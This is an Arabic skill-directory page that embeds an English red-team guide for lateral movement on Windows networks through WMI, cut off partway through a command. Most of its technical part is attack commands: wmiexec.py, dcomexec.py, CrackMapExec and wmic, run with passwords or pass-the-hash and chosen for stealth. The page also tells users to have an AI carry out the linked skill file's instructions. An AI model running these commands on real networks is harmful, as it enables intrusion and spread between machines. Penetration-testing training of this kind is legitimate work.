Skillpedia
برمجة عامة35k · #8256

performing-lateral-movement-with-wmiexec

ما الذي تفعله

تتيح لك هذه المهارة تشغيل أوامر على أجهزة حاسوب أخرى في الشبكة باستخدام WMI، وهو الوسيلة التي يدير بها Windows الأمور عن بُعد. وهي مفيدة لاختبار أمان الشبكة.

متى تستخدمها

  • ✓عندما تختبر أمان الشبكة بإذن.
  • ✓عندما تتحقق من أن الدفاعات الأمنية تعمل.
  • ✓عندما تحقق في حادث أمني.

رابط المهارة

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-lateral-movement-with-wmiexec/SKILL.md

انسخه والصقه في الذكاء الاصطناعي الذي تستخدمه (Claude أو ChatGPT أو Cursor) واطلب منه اتباع التعليمات.

طريقة الاستخدام

أسهل طريقة: انسخ الرسالة والصقها في الذكاء الاصطناعي الذي تستخدمه. سيقرأ المهارة وينفّذ تعليماتها.

رسالة جاهزة للصق

استخدم هذه المهارة لمساعدتي: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-lateral-movement-with-wmiexec/SKILL.md اقرأ ملف SKILL.md في هذا الرابط ونفّذ تعليماته لمهمتي.
تريد أن يجد الذكاء الاصطناعي مهارات مثل هذه بنفسه؟ثبّت خادم Skillpedia MCP المجاني: سطر واحد، ويبحث في 15,000+ مهارة قبل كل مهمة.ثبّته في دقيقة واحدة →

مثال على ما تطلبه من الذكاء الاصطناعي

“نفّذ الأمر «ipconfig» على الحاسوب 10.10.10.50 باستخدام بيانات اعتماد المدير.”

5 مهارات جديدة كل أسبوع. قراءة في دقيقة واحدة.

كيف تعمل

تستخدم المهارة ميزة في Windows تسمى WMI لإرسال الأوامر إلى أجهزة أخرى. فبدلًا من تثبيت برامج جديدة، تستخدم أوامر Windows الموجودة أصلًا، مما يجعل كشفها أصعب.

المحتوى التقني (ملف SKILL.md الأصلي)

النص الأصلي من المؤلف، مباشرة من GitHub.

Performing Lateral Movement with WMIExec

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

WMI (Windows Management Instrumentation) is a legitimate Windows administration framework that red teams abuse for lateral movement because it provides remote command execution without deploying additional services or leaving obvious artifacts like PsExec. Impacket's wmiexec.py creates a semi-interactive shell over WMI by executing commands through Win32_Process.Create and reading output via temporary files on ADMIN$ share. Unlike PsExec, WMIExec does not install a service on the target, making it stealthier and less likely to trigger security alerts. WMI-based lateral movement maps to MITRE ATT&CK T1047 (Windows Management Instrumentation) and is used by threat actors including APT29, APT32, and Lazarus Group.

When to Use

  • When conducting security assessments that involve performing lateral movement with wmiexec
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Execute remote commands on Windows targets using WMI-based techniques
  • Establish semi-interactive shells via Impacket wmiexec.py
  • Perform lateral movement with Pass-the-Hash using WMI
  • Use CrackMapExec for multi-target WMI command execution
  • Execute native PowerShell WMI commands for fileless lateral movement
  • Chain WMI with credential harvesting for network-wide access

MITRE ATT&CK Mapping

  • T1047 - Windows Management Instrumentation
  • T1021.003 - Remote Services: Distributed Component Object Model (DCOM)
  • T1550.002 - Use Alternate Authentication Material: Pass the Hash
  • T1059.001 - Command and Scripting Interpreter: PowerShell
  • T1570 - Lateral Tool Transfer

Workflow

Phase 1: WMIExec with Impacket

  1. Execute a semi-interactive shell with credentials:
    # With cleartext password
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50
    
    # With NT hash (Pass-the-Hash)
    wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/admin@10.10.10.50
    
    # With Kerberos ticket
    export KRB5CCNAME=admin.ccache
    wmiexec.py -k -no-pass domain.local/admin@TARGET01.domain.local
    
    # Execute specific command (non-interactive)
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all"
    
  2. Execute commands without output file (stealthier using DCOM):
    # Using dcomexec.py as alternative (MMC20.Application DCOM object)
    dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50
    
    # Using ShellWindows DCOM object
    dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50
    

Phase 2: CrackMapExec Multi-Target Execution

  1. Execute commands across multiple targets:
    # Execute single command on subnet
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami"
    
    # Execute with hash
    crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig"
    
    # Execute PowerShell command
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process"
    
    # Check local admin access via WMI
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
    

Phase 3: Native WMI Commands (Windows)

  1. Execute remote commands using built-in Windows WMI tools:
    # Using wmic.exe (deprecated but still available)
    wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt"
    
    # Using PowerShell Invoke-WmiMethod
    $cred = Get-Credential
    Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
      -Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt"
    
    # Using CIM sessions (modern replacement for WMI)
    $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred
    Invoke-CimMethod -CimSession $session -ClassName Win32_Process `
    

…

الأسئلة الشائعة

ما هو WMI؟

WMI اختصار لـ«Windows Management Instrumentation»، وهي أداة يستخدمها مديرو الأنظمة لإدارة حواسيب Windows عن بُعد.

لماذا تُستخدم WMI في الحركة الجانبية؟

لأن WMI مدمجة في Windows ولا تحتاج إلى تثبيت خدمات جديدة، فتكون أخفى وأقل عرضة لتنبيهات الأمان.

ما هي «الحركة الجانبية»؟

هي المصطلح المستخدم في الأمن للإشارة إلى انتقال المهاجم من حاسوب إلى آخر داخل الشبكة، بعد حصوله على وصول أولي إلى أحدها.

التفاصيل

الوصف الأصلي من المؤلف

Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.

repo: mukul975/Anthropic-Cybersecurity-Skills

الشعبية

نجوم GitHub
35k
الترتيب
#8256
الترخيص
Apache-2.0
آخر تحديث
31‏/8‏/2026

هل هذه المهارة مفيدة؟

0

سجّل الدخول للتصويت.

التعليقات

  • …

المزيد من المهارات من هذا المستودع

مهارات مشابهة